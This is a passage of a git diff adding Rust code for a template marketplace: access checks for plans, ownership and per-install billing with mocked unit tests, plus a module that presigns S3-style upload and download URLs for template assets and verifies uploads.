+            .map_err(validation_failed)?;
+        if !capability.can_charge {
+            return Err(MarketplaceAccessError::NoPaymentMethod {
+                reason: capability.reason.unwrap_or_else(|| "unknown".to_string()),
+            });
+        }
+        return Ok(());
+    }
+
+    let no_price = template.price.map(|p| p <= 0.0).unwrap_or(true);
+    let no_plan = template
+        .required_plan_name
+        .as_deref()
+        .map(|p| p.trim().is_empty() || p.trim().eq_ignore_ascii_case("free"))
+        .unwrap_or(true);
+    let is_free = no_price && no_plan;
+
+    if !is_free
+        && template.product_id.is_some()
+        && !user_owns_template_by_any_identifier(user_service, user_token, template).await?
+    {
+        return Err(MarketplaceAccessError::TemplateNotOwned);
+    }
+
+    Ok(())
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::connectors::user_service::{
+        AuthorizationHandle, BillingCapability, CategoryInfo, PlanDefinition, ProductInfo,
+        StackResponse, UserPlanInfo, UserProduct, UserProfile,
+    };
+    use crate::connectors::ConnectorError;
+    use async_trait::async_trait;
+    use std::collections::{HashMap, HashSet, VecDeque};
+    use std::sync::Mutex;
+    use uuid::Uuid;
+
+    /// Recorded billing-side calls for post-hoc assertion. Used by the
+    /// per-install billing tests to check that the access gate called
+    /// `can_charge` at the right moment and never invoked authorize/capture/void
+    /// (those are the install handler's responsibility).
+    #[derive(Debug, Clone, PartialEq)]
+    enum CapturedCall {
+        CanCharge,
+        Authorize {
+            template_id: Uuid,
+            amount_minor: i64,
+            currency: String,
+            idempotency_key: String,
+        },
+        Capture {
+            authorization_id: String,
+            deployment_hash: String,
+        },
+        Void {
+            authorization_id: String,
+            reason: String,
+        },
+    }
+
+    struct TestUserService {
+        plans: HashMap<String, bool>,
+        owned_identifiers: HashSet<String>,
+        fail_plan_check: bool,
+        can_charge_result: Mutex<BillingCapability>,
+        authorize_responses: Mutex<VecDeque<Result<AuthorizationHandle, ConnectorError>>>,
+        capture_responses: Mutex<VecDeque<Result<AuthorizationHandle, ConnectorError>>>,
+        void_responses: Mutex<VecDeque<Result<(), ConnectorError>>>,
+        captured_calls: Mutex<Vec<CapturedCall>>,
+    }
+
+    impl TestUserService {
+        fn new(plans: &[(&str, bool)], owned_identifiers: &[&str]) -> Self {
+            Self {
+                plans: plans
+                    .iter()
+                    .map(|(plan, allowed)| ((*plan).to_string(), *allowed))
+                    .collect(),
+                owned_identifiers: owned_identifiers
+                    .iter()
+                    .map(|identifier| (*identifier).to_string())
+                    .collect(),
+                fail_plan_check: false,
+                can_charge_result: Mutex::new(BillingCapability {
+                    can_charge: true,
+                    reason: None,
+                }),
+                authorize_responses: Mutex::new(VecDeque::new()),
+                capture_responses: Mutex::new(VecDeque::new()),
+                void_responses: Mutex::new(VecDeque::new()),
+                captured_calls: Mutex::new(Vec::new()),
+            }
+        }
+
+        /// Make the upstream plan check return a connector error, to exercise
+        /// the ValidationFailed error-propagation path.
+        fn with_plan_check_failure(mut self) -> Self {
+            self.fail_plan_check = true;
+            self
+        }
+
+        /// Preload the can-charge response used by the per_install access-gate
+        /// branch. Default is `{can_charge: true, reason: None}`.
+        #[allow(dead_code)]
+        fn with_can_charge(self, can_charge: bool, reason: Option<&str>) -> Self {
+            *self.can_charge_result.lock().unwrap() = BillingCapability {
+                can_charge,
+                reason: reason.map(str::to_string),
+            };
+            self
+        }
+
+        /// Snapshot the CapturedCall vector for assertions.
+        #[allow(dead_code)]
+        fn calls(&self) -> Vec<CapturedCall> {
+            self.captured_calls.lock().unwrap().clone()
+        }
+    }
+
+    #[async_trait]
+    impl UserServiceConnector for TestUserService {
+        async fn create_stack_from_template(
+            &self,
+            _marketplace_template_id: &Uuid,
+            _user_id: &str,
+            _template_version: &str,
+            _name: &str,
+            _stack_definition: serde_json::Value,
+        ) -> Result<StackResponse, ConnectorError> {
+            unimplemented!()
+        }
+
+        async fn get_stack(
+            &self,
+            _stack_id: i32,
+            _user_id: &str,
+        ) -> Result<StackResponse, ConnectorError> {
+            unimplemented!()
+        }
+
+        async fn list_stacks(&self, _user_id: &str) -> Result<Vec<StackResponse>, ConnectorError> {
+            unimplemented!()
+        }
+
+        async fn user_has_plan(
+            &self,
+            _user_id: &str,
+            required_plan_name: &str,
+            _user_token: Option<&str>,
+        ) -> Result<bool, ConnectorError> {
+            if self.fail_plan_check {
+                return Err(ConnectorError::ServiceUnavailable(
+                    "user service unreachable".to_string(),
+                ));
+            }
+            Ok(self.plans.get(required_plan_name).copied().unwrap_or(false))
+        }
+
+        async fn get_user_plan(&self, _user_id: &str) -> Result<UserPlanInfo, ConnectorError> {
+            unimplemented!()
+        }
+
+        async fn list_available_plans(&self) -> Result<Vec<PlanDefinition>, ConnectorError> {
+            unimplemented!()
+        }
+
+        async fn get_user_profile(&self, _user_token: &str) -> Result<UserProfile, ConnectorError> {
+            Ok(UserProfile {
+                id: "test-user-id".to_string(),
+                email: "user@example.com".to_string(),
+                plan: None,
+                products: vec![UserProduct {
+                    id: Some("product-id".to_string()),
+                    name: "Template".to_string(),
+                    code: "paid-template".to_string(),
+                    product_type: "template".to_string(),
+                    external_id: Some(100),
+                    owned_since: None,
+                }],
+            })
+        }
+
+        async fn get_template_product(
+            &self,
+            _stack_template_id: i32,
+        ) -> Result<Option<ProductInfo>, ConnectorError> {
+            unimplemented!()
+        }
+
+        async fn user_owns_template(
+            &self,
+            _user_token: &str,
+            stack_template_id: &str,
+        ) -> Result<bool, ConnectorError> {
+            Ok(self.owned_identifiers.contains(stack_template_id))
+        }
+
+        async fn get_categories(&self) -> Result<Vec<CategoryInfo>, ConnectorError> {
+            unimplemented!()
+        }
+
+        async fn search_marketplace_templates(
+            &self,
+            _user_token: &str,
+            _query: Option<&str>,
+            _category: Option<&str>,
+            _is_marketplace: Option<bool>,
+            _page: Option<u32>,
+            _max_results: Option<u32>,
+        ) -> Result<Vec<serde_json::Value>, ConnectorError> {
+            unimplemented!()
+        }
+
+        async fn get_catalog_application(
+            &self,
+            _user_token: &str,
+            _code: &str,
+        ) -> Result<Option<serde_json::Value>, ConnectorError> {
+            unimplemented!()
+        }
+
+        async fn can_charge(&self, _user_token: &str) -> Result<BillingCapability, ConnectorError> {
+            self.captured_calls
+                .lock()
+                .unwrap()
+                .push(CapturedCall::CanCharge);
+            Ok(self.can_charge_result.lock().unwrap().clone())
+        }
+
+        async fn authorize_install_charge(
+            &self,
+            _user_token: &str,
+            template_id: &Uuid,
+            amount_minor: i64,
+            currency: &str,
+            idempotency_key: &str,
+        ) -> Result<AuthorizationHandle, ConnectorError> {
+            self.captured_calls
+                .lock()
+                .unwrap()
+                .push(CapturedCall::Authorize {
+                    template_id: *template_id,
+                    amount_minor,
+                    currency: currency.to_string(),
+                    idempotency_key: idempotency_key.to_string(),
+                });
+            self.authorize_responses
+                .lock()
+                .unwrap()
+                .pop_front()
+                .unwrap_or_else(|| {
+                    Ok(AuthorizationHandle {
+                        authorization_id: format!("test-auth-{}", idempotency_key),
+                        amount_minor,
+                        currency: currency.to_string(),
+                        expires_at: Some("2099-01-01T00:00:00Z".to_string()),
+                        status: "authorized".to_string(),
+                    })
+                })
+        }
+
+        async fn capture_install_charge(
+            &self,
+            _auth_token: &str,
+            authorization_id: &str,
+            deployment_hash: &str,
+        ) -> Result<AuthorizationHandle, ConnectorError> {
+            self.captured_calls
+                .lock()
+                .unwrap()
+                .push(CapturedCall::Capture {
+                    authorization_id: authorization_id.to_string(),
+                    deployment_hash: deployment_hash.to_string(),
+                });
+            self.capture_responses
+                .lock()
+                .unwrap()
+                .pop_front()
+                .unwrap_or_else(|| {
+                    Ok(AuthorizationHandle {
+                        authorization_id: authorization_id.to_string(),
+                        amount_minor: 0,
+                        currency: "USD".to_string(),
+                        expires_at: None,
+                        status: "captured".to_string(),
+                    })
+                })
+        }
+
+        async fn void_install_charge(
+            &self,
+            _auth_token: &str,
+            authorization_id: &str,
+            reason: &str,
+        ) -> Result<(), ConnectorError> {
+            self.captured_calls
+                .lock()
+                .unwrap()
+                .push(CapturedCall::Void {
+                    authorization_id: authorization_id.to_string(),
+                    reason: reason.to_string(),
+                });
+            self.void_responses
+                .lock()
+                .unwrap()
+                .pop_front()
+                .unwrap_or(Ok(()))
+        }
+    }
+
+    fn test_user() -> models::User {
+        models::User {
+            id: "user-1".to_string(),
+            first_name: "Test".to_string(),
+            last_name: "User".to_string(),
+            email: "user@example.com".to_string(),
+            role: "user".to_string(),
+            email_confirmed: true,
+            mfa_verified: false,
+            access_token: Some("token".to_string()),
+        }
+    }
+
+    fn test_template() -> models::StackTemplate {
+        models::StackTemplate {
+            slug: "paid-template".to_string(),
+            product_id: Some(100),
+            required_plan_name: Some("enterprise".to_string()),
+            ..Default::default()
+        }
+    }
+
+    #[tokio::test]
+    async fn validates_feature_plan_template_plan_and_ownership() {
+        let user_service: Arc<dyn UserServiceConnector> = Arc::new(TestUserService::new(
+            &[("professional", true), ("enterprise", true)],
+            &["100"],
+        ));
+
+        let result =
+            validate_marketplace_template_access(&user_service, &test_user(), &test_template())
+                .await;
+
+        assert!(result.is_ok());
+    }
+
+    #[tokio::test]
+    async fn rejects_users_below_marketplace_install_plan() {
+        let user_service: Arc<dyn UserServiceConnector> =
+            Arc::new(TestUserService::new(&[("professional", false)], &["100"]));
+
+        let result =
+            validate_marketplace_template_access(&user_service, &test_user(), &test_template())
+                .await;
+
+        assert!(matches!(
+            result,
+            Err(MarketplaceAccessError::InsufficientFeaturePlan)
+        ));
+    }
+
+    #[tokio::test]
+    async fn rejects_unowned_paid_templates() {
+        let user_service: Arc<dyn UserServiceConnector> = Arc::new(TestUserService::new(
+            &[("professional", true), ("enterprise", true)],
+            &[],
+        ));
+
+        let result =
+            validate_marketplace_template_access(&user_service, &test_user(), &test_template())
+                .await;
+
+        assert!(matches!(
+            result,
+            Err(MarketplaceAccessError::TemplateNotOwned)
+        ));
+    }
+
+    #[tokio::test]
+    async fn allows_free_templates_without_ownership() {
+        let user_service: Arc<dyn UserServiceConnector> =
+            Arc::new(TestUserService::new(&[("professional", true)], &[]));
+
+        let template = models::StackTemplate {
+            slug: "free-template".to_string(),
+            product_id: Some(999),
+            price: None,
+            required_plan_name: None,
+            ..Default::default()
+        };
+
+        let result =
+            validate_marketplace_template_access(&user_service, &test_user(), &template).await;
+
+        assert!(result.is_ok());
+    }
+
+    #[tokio::test]
+    async fn allows_zero_price_templates_without_ownership() {
+        let user_service: Arc<dyn UserServiceConnector> =
+            Arc::new(TestUserService::new(&[("professional", true)], &[]));
+
+        let template = models::StackTemplate {
+            slug: "zero-price-template".to_string(),
+            product_id: Some(888),
+            price: Some(0.0),
+            required_plan_name: None,
+            ..Default::default()
+        };
+
+        let result =
+            validate_marketplace_template_access(&user_service, &test_user(), &template).await;
+
+        assert!(result.is_ok());
+    }
+
+    #[tokio::test]
+    async fn rejects_unowned_template_with_plan_requirement() {
+        let user_service: Arc<dyn UserServiceConnector> = Arc::new(TestUserService::new(
+            &[("professional", true), ("enterprise", true)],
+            &[],
+        ));
+
+        let template = models::StackTemplate {
+            slug: "plan-only-template".to_string(),
+            product_id: Some(777),
+            price: None,
+            required_plan_name: Some("enterprise".to_string()),
+            ..Default::default()
+        };
+
+        let result =
+            validate_marketplace_template_access(&user_service, &test_user(), &template).await;
+
+        assert!(matches!(
+            result,
+            Err(MarketplaceAccessError::TemplateNotOwned)
+        ));
+    }
+
+    #[tokio::test]
+    async fn rejects_when_user_token_missing() {
+        let user_service: Arc<dyn UserServiceConnector> =
+            Arc::new(TestUserService::new(&[("professional", true)], &["100"]));
+
+        let mut user = test_user();
+        user.access_token = None;
+
+        let result =
+            validate_marketplace_template_access(&user_service, &user, &test_template()).await;
+
+        assert!(matches!(
+            result,
+            Err(MarketplaceAccessError::MissingUserToken)
+        ));
+    }
+
+    #[tokio::test]
+    async fn rejects_when_template_requires_higher_plan_than_feature_plan() {
+        // User meets the marketplace-install minimum (professional) but not the
+        // template's required plan (enterprise).
+        let user_service: Arc<dyn UserServiceConnector> = Arc::new(TestUserService::new(
+            &[("professional", true), ("enterprise", false)],
+            &["100"],
+        ));
+
+        let result =
+            validate_marketplace_template_access(&user_service, &test_user(), &test_template())
+                .await;
+
+        assert!(matches!(
+            result,
+            Err(MarketplaceAccessError::InsufficientTemplatePlan { required_plan })
+                if required_plan == "enterprise"
+        ));
+    }
+
+    #[tokio::test]
+    async fn allows_when_user_owns_template_by_uuid() {
+        let template_id = Uuid::new_v4();
+        let template = models::StackTemplate {
+            id: template_id,
+            slug: "paid-template".to_string(),
+            product_id: Some(100),
+            price: Some(5.0),
+            required_plan_name: None,
+            ..Default::default()
+        };
+
+        // Ownership is recorded under the UUID, not the product_id — the resolver
+        // must fall through product_id -> UUID.
+        let user_service: Arc<dyn UserServiceConnector> = Arc::new(TestUserService::new(
+            &[("professional", true)],
+            &[template_id.to_string().as_str()],
+        ));
+
+        let result =
+            validate_marketplace_template_access(&user_service, &test_user(), &template).await;
+
+        assert!(result.is_ok());
+    }
+
+    #[tokio::test]
+    async fn allows_when_user_owns_template_by_slug() {
+        let template = models::StackTemplate {
+            id: Uuid::new_v4(),
+            slug: "paid-template".to_string(),
+            product_id: Some(100),
+            price: Some(5.0),
+            required_plan_name: None,
+            ..Default::default()
+        };
+
+        // Ownership is recorded only under the slug — the resolver must fall
+        // through product_id -> UUID -> slug.
+        let user_service: Arc<dyn UserServiceConnector> = Arc::new(TestUserService::new(
+            &[("professional", true)],
+            &["paid-template"],
+        ));
+
+        let result =
+            validate_marketplace_template_access(&user_service, &test_user(), &template).await;
+
+        assert!(result.is_ok());
+    }
+
+    #[tokio::test]
+    async fn propagates_connector_error_as_validation_failed() {
+        let user_service: Arc<dyn UserServiceConnector> = Arc::new(
+            TestUserService::new(&[("professional", true)], &["100"]).with_plan_check_failure(),
+        );
+
+        let result =
+            validate_marketplace_template_access(&user_service, &test_user(), &test_template())
+                .await;
+
+        assert!(matches!(
+            result,
+            Err(MarketplaceAccessError::ValidationFailed(_))
+        ));
+    }
+
+    // ── per_install access-gate tests ───────────────────────────────
+    //
+    // These pin the semantics documented in the plan: a template with
+    // billing_cycle="per_install" bypasses ownership entirely, but must
+    // still clear the feature-plan gate and expose a valid payment method.
+
+    fn per_install_template() -> models::StackTemplate {
+        models::StackTemplate {
+            slug: "paid-per-install".to_string(),
+            product_id: Some(2001),
+            price: Some(9.99),
+            billing_cycle: Some("per_install".to_string()),
+            required_plan_name: None,
+            ..Default::default()
+        }
+    }
+
+    #[tokio::test]
+    async fn per_install_template_skips_ownership_and_passes_when_can_charge() {
+        // No `owned_identifiers` on purpose — ownership must NOT be consulted
+        // for per_install templates.
+        let svc = Arc::new(TestUserService::new(&[("professional", true)], &[]));
+        let user_service: Arc<dyn UserServiceConnector> = svc.clone();
+
+        let result = validate_marketplace_template_access(
+            &user_service,
+            &test_user(),
+            &per_install_template(),
+        )
+        .await;
+
+        assert!(result.is_ok(), "expected Ok, got {:?}", result);
+        let calls = svc.calls();
+        assert!(
+            calls.contains(&CapturedCall::CanCharge),
+            "gate must consult can_charge for per_install templates: {:?}",
+            calls
+        );
+        assert!(
+            !calls
+                .iter()
+                .any(|c| matches!(c, CapturedCall::Authorize { .. })),
+            "gate must NOT authorize — the install handler does that: {:?}",
+            calls
+        );
+    }
+
+    #[tokio::test]
+    async fn per_install_template_rejects_when_no_payment_method() {
+        let svc = Arc::new(
+            TestUserService::new(&[("professional", true)], &[])
+                .with_can_charge(false, Some("no_payment_method")),
+        );
+        let user_service: Arc<dyn UserServiceConnector> = svc.clone();
+
+        let result = validate_marketplace_template_access(
+            &user_service,
+            &test_user(),
+            &per_install_template(),
+        )
+        .await;
+
+        assert!(matches!(
+            result,
+            Err(MarketplaceAccessError::NoPaymentMethod { ref reason })
+                if reason == "no_payment_method"
+        ));
+    }
+
+    #[tokio::test]
+    async fn per_install_template_still_requires_feature_plan() {
+        // Team/Pro feature-plan gate must precede the per_install branch —
+        // a user without the "professional" tier gets rejected before we
+        // ever probe payment capability.
+        let svc = Arc::new(TestUserService::new(&[("professional", false)], &[]));
+        let user_service: Arc<dyn UserServiceConnector> = svc.clone();
+
+        let result = validate_marketplace_template_access(
+            &user_service,
+            &test_user(),
+            &per_install_template(),
+        )
+        .await;
+
+        assert!(matches!(
+            result,
+            Err(MarketplaceAccessError::InsufficientFeaturePlan)
+        ));
+        assert!(
+            !svc.calls().contains(&CapturedCall::CanCharge),
+            "can_charge must not be probed when the feature-plan gate fails"
+        );
+    }
+
+    #[tokio::test]
+    async fn one_time_template_ownership_check_unchanged() {
+        // Regression: `one_time` templates (umami-shape) still use the
+        // ownership gate after the split-out per_install branch.
+        // umami's row carries required_plan_name="free", which the gate
+        // still consults via user_has_plan — every user has the "free"
+        // tier in production, so we grant it in the mock too.
+        let svc = Arc::new(TestUserService::new(
+            &[("professional", true), ("free", true)],
+            &[],
+        ));
+        let user_service: Arc<dyn UserServiceConnector> = svc.clone();
+        let template = models::StackTemplate {
+            slug: "umami".to_string(),
+            product_id: Some(-961115967),
+            price: Some(10.0),
+            billing_cycle: Some("one_time".to_string()),
+            required_plan_name: Some("free".to_string()),
+            ..Default::default()
+        };
+
+        let result =
+            validate_marketplace_template_access(&user_service, &test_user(), &template).await;
+
+        assert!(matches!(
+            result,
+            Err(MarketplaceAccessError::TemplateNotOwned)
+        ));
+        assert!(
+            !svc.calls().contains(&CapturedCall::CanCharge),
+            "can_charge must NOT be probed for one_time templates"
+        );
+    }
+}
diff --git a/src/services/marketplace_assets.rs b/src/services/marketplace_assets.rs
new file mode 100644
index 00000000..c5d9a40c
--- /dev/null
+++ b/src/services/marketplace_assets.rs
@@ -0,0 +1,443 @@
+use crate::configuration::MarketplaceAssetSettings;
+use crate::models::marketplace::MarketplaceAsset;
+use chrono::Utc;
+use hmac::{Hmac, Mac};
+use reqwest::StatusCode;
+use reqwest::Url;
+use sha2::{Digest, Sha256};
+use std::collections::BTreeMap;
+use std::path::Path;
+use thiserror::Error;
+use uuid::Uuid;
+
+type HmacSha256 = Hmac<Sha256>;
+
+pub const MARKETPLACE_ASSET_STORAGE_PROVIDER: &str = "hetzner-object-storage";
+
+#[derive(Debug, Clone)]
+pub struct MarketplaceAssetUploadRequest {
+    pub filename: String,
+    pub sha256: String,
+    pub size: i64,
+    pub content_type: Option<String>,
+    pub mount_path: Option<String>,
+    pub fetch_target: Option<String>,
+    pub decompress: bool,
+    pub executable: bool,
+    pub immutable: bool,
+}
+
+#[derive(Debug, Clone, serde::Serialize)]
+pub struct PresignedMarketplaceAssetResponse {
+    pub method: String,
+    pub url: String,
+    pub expires_in_seconds: i64,
+    pub headers: BTreeMap<String, String>,
+    pub asset: MarketplaceAsset,
+}
+
+#[derive(Debug, Error)]
+pub enum MarketplaceAssetStorageError {
+    #[error("Marketplace asset storage is not configured")]
+    NotConfigured,
+    #[error("endpoint_url is not a valid URL")]
+    InvalidEndpoint,
+    #[error("filename is required")]
+    MissingFilename,
+    #[error("sha256 is required")]
+    MissingChecksum,
+    #[error("size must be a positive integer")]
+    InvalidSize,
+    #[error("unsupported server-side encryption mode: {0}")]
+    UnsupportedServerSideEncryption(String),
+    #[error("uploaded asset could not be verified in object storage")]
+    VerificationFailed,
+    #[error("uploaded asset size does not match expected size")]
+    SizeMismatch,
+}
+
+pub fn build_asset_key(template_id: &Uuid, version: &str, sha256: &str, filename: &str) -> String {
+    format!(
+        "templates/{}/versions/{}/assets/{}/{}",
+        template_id, version, sha256, filename
+    )
+}
+
+pub fn presign_asset_upload(
+    settings: &MarketplaceAssetSettings,
+    template_id: &Uuid,
+    version: &str,
+    request: MarketplaceAssetUploadRequest,
+) -> Result<PresignedMarketplaceAssetResponse, MarketplaceAssetStorageError> {
+    ensure_storage_configured(settings)?;
+    let filename = sanitize_filename(&request.filename)?;
+    let sha256 = normalize_non_empty(&request.sha256)
+        .ok_or(MarketplaceAssetStorageError::MissingChecksum)?;
+    if request.size <= 0 {
+        return Err(MarketplaceAssetStorageError::InvalidSize);
+    }
+
+    let content_type = request
+        .content_type
+        .as_deref()
+        .map(str::trim)
+        .filter(|value| !value.is_empty())
+        .unwrap_or("application/octet-stream")
+        .to_string();
+    let bucket = settings.active_bucket().to_string();
+    let key = build_asset_key(template_id, version, &sha256, &filename);
+
+    let asset = MarketplaceAsset {
+        storage_provider: MARKETPLACE_ASSET_STORAGE_PROVIDER.to_string(),
+        bucket: bucket.clone(),
+        key: key.clone(),
+        filename,
+        sha256,
+        size: request.size,
+        content_type: content_type.clone(),
+        mount_path: request.mount_path.as_deref().and_then(normalize_non_empty),
+        fetch_target: request
+            .fetch_target
+            .as_deref()
+            .and_then(normalize_non_empty),
+        decompress: request.decompress,
+        executable: request.executable,
+        immutable: request.immutable,
+    };
+
+    let mut headers = BTreeMap::from([("content-type".to_string(), content_type)]);
+    headers.insert("x-amz-meta-sha256".to_string(), request.sha256.clone());
+    if let Some(sse) = normalize_server_side_encryption(settings.server_side_encryption.as_deref())?
+    {
+        headers.insert("x-amz-server-side-encryption".to_string(), sse);
+    }
+
+    let url = presign_request(
+        settings,
+        "PUT",
+        &bucket,
+        &key,
+        settings.presign_put_ttl_secs,
+        &headers,
+    )?;
+
+    Ok(PresignedMarketplaceAssetResponse {
+        method: "PUT".to_string(),
+        url,
+        expires_in_seconds: settings.presign_put_ttl_secs as i64,
+        headers,
+        asset,
+    })
+}
+
+pub fn presign_asset_download(
+    settings: &MarketplaceAssetSettings,
+    asset: &MarketplaceAsset,
+) -> Result<PresignedMarketplaceAssetResponse, MarketplaceAssetStorageError> {
+    ensure_storage_configured(settings)?;
+    let headers = BTreeMap::new();
+    let url = presign_request(
+        settings,
+        "GET",
+        &asset.bucket,
+        &asset.key,
+        settings.presign_get_ttl_secs,
+        &headers,
+    )?;
+
+    Ok(PresignedMarketplaceAssetResponse {
+        method: "GET".to_string(),
+        url,
+        expires_in_seconds: settings.presign_get_ttl_secs as i64,
+        headers,
+        asset: asset.clone(),
+    })
+}
+
+pub async fn verify_asset_upload(
+    settings: &MarketplaceAssetSettings,
+    asset: &MarketplaceAsset,
+) -> Result<(), MarketplaceAssetStorageError> {
+    ensure_storage_configured(settings)?;
+
+    if settings.current_env == "test" {
+        return Ok(());
+    }
+
+    let url = presign_request(
+        settings,
+        "HEAD",
+        &asset.bucket,
+        &asset.key,
+        settings.presign_get_ttl_secs,
+        &BTreeMap::new(),
+    )?;
+
+    let response = reqwest::Client::new()
+        .head(url)
+        .send()
+        .await
+        .map_err(|_| MarketplaceAssetStorageError::VerificationFailed)?;
+
+    if response.status() != StatusCode::OK {
+        return Err(MarketplaceAssetStorageError::VerificationFailed);
+    }
+
+    if let Some(length) = response.content_length() {
+        if length as i64 != asset.size {
+            return Err(MarketplaceAssetStorageError::SizeMismatch);
+        }
+    }
+
+    let checksum = response
+        .headers()
+        .get("x-amz-meta-sha256")
+        .and_then(|value| value.to_str().ok())
+        .map(str::trim);
+    if checksum != Some(asset.sha256.as_str()) {
+        return Err(MarketplaceAssetStorageError::VerificationFailed);
+    }
+
+    Ok(())
+}
+
+fn presign_request(
+    settings: &MarketplaceAssetSettings,
+    method: &str,
+    bucket: &str,
+    key: &str,
+    expires_in_seconds: u64,
+    headers: &BTreeMap<String, String>,
+) -> Result<String, MarketplaceAssetStorageError> {
+    let endpoint = Url::parse(&settings.endpoint_url)
+        .map_err(|_| MarketplaceAssetStorageError::InvalidEndpoint)?;
+    let host = endpoint
+        .host_str()
+        .ok_or(MarketplaceAssetStorageError::InvalidEndpoint)?;
+    let canonical_uri = build_canonical_uri(bucket, key);
+    let now = Utc::now();
+    let amz_date = now.format("%Y%m%dT%H%M%SZ").to_string();
+    let short_date = now.format("%Y%m%d").to_string();
+    let credential_scope = format!("{}/{}/s3/aws4_request", short_date, settings.region);
+    let credential = format!("{}/{}", settings.access_key_id, credential_scope);
+
+    let mut canonical_headers = BTreeMap::from([("host".to_string(), host.to_string())]);
+    canonical_headers.extend(headers.clone());
+    let signed_headers = canonical_headers
+        .keys()
+        .map(|key| key.to_lowercase())
+        .collect::<Vec<_>>()
+        .join(";");
+    let canonical_headers_string = canonical_headers
+        .iter()
+        .map(|(key, value)| format!("{}:{}\n", key.to_lowercase(), value.trim()))
+        .collect::<String>();
+
+    let mut query_params = BTreeMap::from([
+        (
+            "X-Amz-Algorithm".to_string(),
+            "AWS4-HMAC-SHA256".to_string(),
+        ),
+        ("X-Amz-Credential".to_string(), credential),
+        ("X-Amz-Date".to_string(), amz_date.clone()),
+        ("X-Amz-Expires".to_string(), expires_in_seconds.to_string()),
+        ("X-Amz-SignedHeaders".to_string(), signed_headers.clone()),
+    ]);
+    let canonical_query_string = build_canonical_query_string(&query_params);
+
+    let canonical_request = format!(
+        "{method}\n{canonical_uri}\n{canonical_query_string}\n{canonical_headers_string}\n{signed_headers}\nUNSIGNED-PAYLOAD"
+    );
+    let string_to_sign = format!(
+        "AWS4-HMAC-SHA256\n{amz_date}\n{credential_scope}\n{}",
+        sha256_hex(canonical_request.as_bytes())
+    );
+    let signing_key = build_signing_key(&settings.secret_access_key, &short_date, &settings.region);
+    let signature = hmac_hex(&signing_key, string_to_sign.as_bytes());
+    query_params.insert("X-Amz-Signature".to_string(), signature);
+
+    let mut final_url = endpoint;
+    final_url.set_path(&canonical_uri);
+    final_url.set_query(Some(&build_canonical_query_string(&query_params)));
+
+    Ok(final_url.to_string())
+}
+
+fn ensure_storage_configured(
+    settings: &MarketplaceAssetSettings,
+) -> Result<(), MarketplaceAssetStorageError> {
+    if settings.is_configured() {
+        Ok(())
+    } else {
+        Err(MarketplaceAssetStorageError::NotConfigured)
+    }
+}
+
+fn sanitize_filename(filename: &str) -> Result<String, MarketplaceAssetStorageError> {
+    let raw = normalize_non_empty(filename).ok_or(MarketplaceAssetStorageError::MissingFilename)?;
+    let sanitized = Path::new(&raw)
+        .file_name()
+        .and_then(|value| value.to_str())
+        .map(str::trim)
+        .filter(|value| !value.is_empty())
+        .ok_or(MarketplaceAssetStorageError::MissingFilename)?;
+
+    Ok(sanitized.to_string())
+}
+
+fn normalize_non_empty(value: &str) -> Option<String> {
+    let normalized = value.trim();
+    if normalized.is_empty() {
+        None
+    } else {
+        Some(normalized.to_string())
+    }
+}
+
+fn normalize_server_side_encryption(
+    value: Option<&str>,
+) -> Result<Option<String>, MarketplaceAssetStorageError> {
+    match value.map(str::trim).filter(|entry| !entry.is_empty()) {
+        None => Ok(None),
+        Some("AES256") => Ok(Some("AES256".to_string())),
+        Some(other) => {
+            Err(MarketplaceAssetStorageError::UnsupportedServerSideEncryption(other.to_string()))
+        }
+    }
+}
+
+fn build_canonical_uri(bucket: &str, key: &str) -> String {
+    let encoded_bucket = percent_encode(bucket);
+    let encoded_key = key
+        .split('/')
+        .map(percent_encode)
+        .collect::<Vec<_>>()
+        .join("/");
+    format!("/{encoded_bucket}/{encoded_key}")
+}
+
+fn build_canonical_query_string(params: &BTreeMap<String, String>) -> String {
+    params
+        .iter()
+        .map(|(key, value)| format!("{}={}", percent_encode(key), percent_encode(value)))
+        .collect::<Vec<_>>()
+        .join("&")
+}
+
+fn build_signing_key(secret_access_key: &str, date: &str, region: &str) -> Vec<u8> {
+    let k_date = hmac_bytes(
+        format!("AWS4{secret_access_key}").as_bytes(),
+        date.as_bytes(),
+    );
+    let k_region = hmac_bytes(&k_date, region.as_bytes());
+    let k_service = hmac_bytes(&k_region, b"s3");
+    hmac_bytes(&k_service, b"aws4_request")
+}
+
+fn hmac_bytes(key: &[u8], payload: &[u8]) -> Vec<u8> {
+    let mut mac = HmacSha256::new_from_slice(key).expect("HMAC key should be valid");
+    mac.update(payload);
+    mac.finalize().into_bytes().to_vec()
+}
+
+fn hmac_hex(key: &[u8], payload: &[u8]) -> String {
+    hex_encode(&hmac_bytes(key, payload))
+}
+
+fn sha256_hex(payload: &[u8]) -> String {
+    let digest = Sha256::digest(payload);
+    hex_encode(&digest)
+}
+
+fn hex_encode(bytes: &[u8]) -> String {
+    bytes.iter().map(|byte| format!("{byte:02x}")).collect()
+}
+
+fn percent_encode(value: &str) -> String {
+    let mut encoded = String::new();
+    for byte in value.as_bytes() {
+        let ch = *byte as char;
+        if ch.is_ascii_alphanumeric() || matches!(ch, '-' | '_' | '.' | '~') {
+            encoded.push(ch);
+        } else {
+            encoded.push_str(&format!("%{byte:02X}"));
+        }
+    }
+    encoded
+}
+
+#[cfg(test)]
+mod tests {
+    use super::{build_asset_key, presign_asset_upload, MarketplaceAssetUploadRequest};
+    use crate::configuration::MarketplaceAssetSettings;
+    use uuid::Uuid;
+
+    fn storage_settings() -> MarketplaceAssetSettings {
+        MarketplaceAssetSettings {
+            enabled: true,
+            current_env: "test".to_string(),
+            endpoint_url: "https://objects.trydirect.test".to_string(),
+            region: "eu-central".to_string(),
+            access_key_id: "access".to_string(),
+            secret_access_key: "secret".to_string(),
+            bucket_dev: "marketplace-assets-dev".to_string(),
+            bucket_test: "marketplace-assets-test".to_string(),
+            bucket_staging: "marketplace-assets-staging".to_string(),
+            bucket_prod: "marketplace-assets-prod".to_string(),
+            server_side_encryption: Some("AES256".to_string()),
+            presign_put_ttl_secs: 900,
+            presign_get_ttl_secs: 300,
+        }
+    }
+
+    #[test]
+    fn build_asset_key_uses_immutable_layout() {
+        let template_id = Uuid::parse_str("11111111-2222-3333-4444-555555555555").unwrap();
+        let key = build_asset_key(&template_id, "1.0.0", "abc12345", "bundle.tgz");
+
+        assert_eq!(
+            "templates/11111111-2222-3333-4444-555555555555/versions/1.0.0/assets/abc12345/bundle.tgz",
+            key
+        );
+    }
+
+    #[test]
+    fn presign_asset_upload_uses_test_bucket_and_sse_header() {
+        let response = presign_asset_upload(
+            &storage_settings(),
+            &Uuid::parse_str("11111111-2222-3333-4444-555555555555").unwrap(),
